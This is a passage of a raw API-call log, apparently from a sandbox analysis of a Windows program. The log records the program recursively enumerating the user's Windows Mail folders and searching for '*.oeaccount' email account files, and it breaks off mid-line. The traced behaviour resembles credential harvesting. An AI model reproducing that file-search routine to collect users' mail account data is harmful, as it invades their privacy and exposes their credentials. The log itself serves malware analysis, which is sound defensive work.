out: lpFindFileData=0x18e470*(dwFileAttributes=0x26bf08, ftCreationTime.dwLowDateTime=0x18ff78, ftCreationTime.dwHighDateTime=0x771a1ecd, ftLastAccessTime.dwLowDateTime=0x18e820, ftLastAccessTime.dwHighDateTime=0xfffffffe, ftLastWriteTime.dwLowDateTime=0x46, ftLastWriteTime.dwHighDateTime=0x8e008c, nFileSizeHigh=0x271328, nFileSizeLow=0x228, dwReserved0=0x2, dwReserved1=0x0, cFileName="\x8c", cAlternateFileName="p")) returned 0xffffffff [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.399] strlen (_Str="*.*") returned 0x3 [0063.399] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c [0063.399] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.400] _mbscat (in: param_1=0x18e83c, param_2=0x413078 | out: param_1=0x18e83c) returned 0x18e83c [0063.400] _mbscat (in: param_1=0x18e83c, param_2=0x413768 | out: param_1=0x18e83c) returned 0x18e83c [0063.400] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b, dwReserved1=0x18e0f8, cFileName=".", cAlternateFileName="")) returned 0x2691c0 [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.400] strlen (_Str=".") returned 0x1 [0063.400] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.400] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] strcmp (_Str1=".", _Str2="..") returned -1 [0063.400] strcmp (_Str1=".", _Str2=".") returned 0 [0063.400] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b9ed580, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9ed580, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b, dwReserved1=0x18e0f8, cFileName="..", cAlternateFileName="")) returned 1 [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.400] strlen (_Str="..") returned 0x2 [0063.400] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.400] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] strcmp (_Str1="..", _Str2="..") returned 0 [0063.400] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b, dwReserved1=0x18e0f8, cFileName="old", cAlternateFileName="")) returned 1 [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.400] strlen (_Str="old") returned 0x3 [0063.400] _mbscpy (in: param_1=0x18eac0, param_2=0x18ec04 | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup") returned 0x49 [0063.400] _mbscat (in: param_1=0x18eac0, param_2=0x413078 | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] _mbscat (in: param_1=0x18eac0, param_2=0x18e9ac | out: param_1=0x18eac0) returned 0x18eac0 [0063.400] strcmp (_Str1="old", _Str2="..") returned 1 [0063.400] strcmp (_Str1="old", _Str2=".") returned 1 [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.400] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.400] strlen (_Str="*.oeaccount") returned 0xb [0063.400] _mbscpy (in: param_1=0x18d8f4, param_2=0x18dcbc | out: param_1=0x18d8f4) returned 0x18d8f4 [0063.401] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.401] _mbscat (in: param_1=0x18d8f4, param_2=0x413078 | out: param_1=0x18d8f4) returned 0x18d8f4 [0063.401] _mbscat (in: param_1=0x18d8f4, param_2=0x414488 | out: param_1=0x18d8f4) returned 0x18d8f4 [0063.401] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.oeaccount", lpFindFileData=0x18da38 | out: lpFindFileData=0x18da38*(dwFileAttributes=0x26bf08, ftCreationTime.dwLowDateTime=0x18ff78, ftCreationTime.dwHighDateTime=0x771a1ecd, ftLastAccessTime.dwLowDateTime=0x18dde8, ftLastAccessTime.dwHighDateTime=0xfffffffe, ftLastWriteTime.dwLowDateTime=0x4d, ftLastWriteTime.dwHighDateTime=0x9c009a, nFileSizeHigh=0x271fa0, nFileSizeLow=0x228, dwReserved0=0x2, dwReserved1=0x0, cFileName="\x9a", cAlternateFileName="p")) returned 0xffffffff [0063.403] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.403] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.403] strlen (_Str="*.*") returned 0x3 [0063.403] _mbscpy (in: param_1=0x18de04, param_2=0x18e1cc | out: param_1=0x18de04) returned 0x18de04 [0063.403] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.403] _mbscat (in: param_1=0x18de04, param_2=0x413078 | out: param_1=0x18de04) returned 0x18de04 [0063.403] _mbscat (in: param_1=0x18de04, param_2=0x413768 | out: param_1=0x18de04) returned 0x18de04 [0063.403] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x334, dwReserved1=0x361, cFileName=".", cAlternateFileName="")) returned 0x272050 [0063.403] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.403] strlen (_Str=".") returned 0x1 [0063.403] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.403] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.403] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.404] strcmp (_Str1=".", _Str2="..") returned -1 [0063.404] strcmp (_Str1=".", _Str2=".") returned 0 [0063.404] FindNextFileA (in: hFindFile=0x272050, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x334, dwReserved1=0x361, cFileName="..", cAlternateFileName="")) returned 1 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] strlen (_Str="..") returned 0x2 [0063.404] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.404] strcmp (_Str1="..", _Str2="..") returned 0 [0063.404] FindNextFileA (in: hFindFile=0x272050, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x334, dwReserved1=0x361, cFileName="edb00001.log", cAlternateFileName="")) returned 1 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] strlen (_Str="edb00001.log") returned 0xc [0063.404] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.404] FindNextFileA (in: hFindFile=0x272050, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2ab7545, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x206000, dwReserved0=0x334, dwReserved1=0x361, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] strlen (_Str="WindowsMail.MSMessageStore") returned 0x1a [0063.404] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.404] FindNextFileA (in: hFindFile=0x272050, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x334, dwReserved1=0x361, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] strlen (_Str="WindowsMail.pat") returned 0xf [0063.404] _mbscpy (in: param_1=0x18e088, param_2=0x18e1cc | out: param_1=0x18e088) returned 0x18e088 [0063.404] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\old") returned 0x4d [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x413078 | out: param_1=0x18e088) returned 0x18e088 [0063.404] _mbscat (in: param_1=0x18e088, param_2=0x18df74 | out: param_1=0x18e088) returned 0x18e088 [0063.404] FindNextFileA (in: hFindFile=0x272050, lpFindFileData=0x18df48 | out: lpFindFileData=0x18df48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2fec56f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x334, dwReserved1=0x361, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0 [0063.404] FindClose (in: hFindFile=0x272050 | out: hFindFile=0x272050) returned 1 [0063.405] FindNextFileA (in: hFindFile=0x2691c0, lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2b, dwReserved1=0x18e0f8, cFileName="old", cAlternateFileName="")) returned 0 [0063.405] FindClose (in: hFindFile=0x2691c0 | out: hFindFile=0x2691c0) returned 1 [0063.405] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x64, dwReserved1=0x26c100, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0063.405] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.405] strlen (_Str="edb.chk") returned 0x7 [0063.405] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.405] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.405] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.405] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.405] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x64, dwReserved1=0x26c100, cFileName="edb.log", cAlternateFileName="")) returned 1 [0063.405] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.405] strlen (_Str="edb.log") returned 0x7 [0063.405] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.405] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.405] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.405] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.405] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x64, dwReserved1=0x26c100, cFileName="edb00001.log", cAlternateFileName="")) returned 1 [0063.405] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.405] strlen (_Str="edb00001.log") returned 0xc [0063.405] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.405] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e30140, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e30140, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x64, dwReserved1=0x26c100, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] strlen (_Str="edbres00001.jrs") returned 0xf [0063.406] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x64, dwReserved1=0x26c100, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] strlen (_Str="edbres00002.jrs") returned 0xf [0063.406] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x64, dwReserved1=0x26c100, cFileName="oeold.xml", cAlternateFileName="")) returned 1 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] strlen (_Str="oeold.xml") returned 0x9 [0063.406] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] FindNextFileA (in: hFindFile=0x2667f0, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x64, dwReserved1=0x26c100, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] strlen (_Str="Stationery") returned 0xa [0063.406] _mbscpy (in: param_1=0x18f4f8, param_2=0x18f63c | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x42 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x413078 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] _mbscat (in: param_1=0x18f4f8, param_2=0x18f3e4 | out: param_1=0x18f4f8) returned 0x18f4f8 [0063.406] strcmp (_Str1="Stationery", _Str2="..") returned 1 [0063.406] strcmp (_Str1="Stationery", _Str2=".") returned 1 [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.406] strlen (_Str="*.oeaccount") returned 0xb [0063.406] _mbscpy (in: param_1=0x18e32c, param_2=0x18e6f4 | out: param_1=0x18e32c) returned 0x18e32c [0063.406] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.406] _mbscat (in: param_1=0x18e32c, param_2=0x413078 | out: param_1=0x18e32c) returned 0x18e32c [0063.406] _mbscat (in: param_1=0x18e32c, param_2=0x414488 | out: param_1=0x18e32c) returned 0x18e32c [0063.406] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.oeaccount", lpFindFileData=0x18e470 | out: lpFindFileData=0x18e470*(dwFileAttributes=0x26bf08, ftCreationTime.dwLowDateTime=0x18ff78, ftCreationTime.dwHighDateTime=0x771a1ecd, ftLastAccessTime.dwLowDateTime=0x18e820, ftLastAccessTime.dwHighDateTime=0xfffffffe, ftLastWriteTime.dwLowDateTime=0x46, ftLastWriteTime.dwHighDateTime=0x8e008c, nFileSizeHigh=0x271328, nFileSizeLow=0x228, dwReserved0=0x2, dwReserved1=0x0, cFileName="\x8c", cAlternateFileName="p")) returned 0xffffffff [0063.408] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.408] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.408] strlen (_Str="*.*") returned 0x3 [0063.408] _mbscpy (in: param_1=0x18e83c, param_2=0x18ec04 | out: param_1=0x18e83c) returned 0x18e83c [0063.409] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x4d [0063.409] _mbscat (in: param_1=0x18e83c, param_2=0x413078 | out: param_1=0x18e83c) returned 0x18e83c [0063.409] _mbscat (in: param_1=0x18e83c, param_2=0x413768 | out: param_1=0x18e83c) returned 0x18e83c [0063.409] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x18e980 | out: lpFindFileData=0x18e980*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69575c64, dwReserved1=0x776f646e, cFileName=".", cAlternateFileName="")) returned 0x2691c0 [0063.409] strlen (_Str="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows 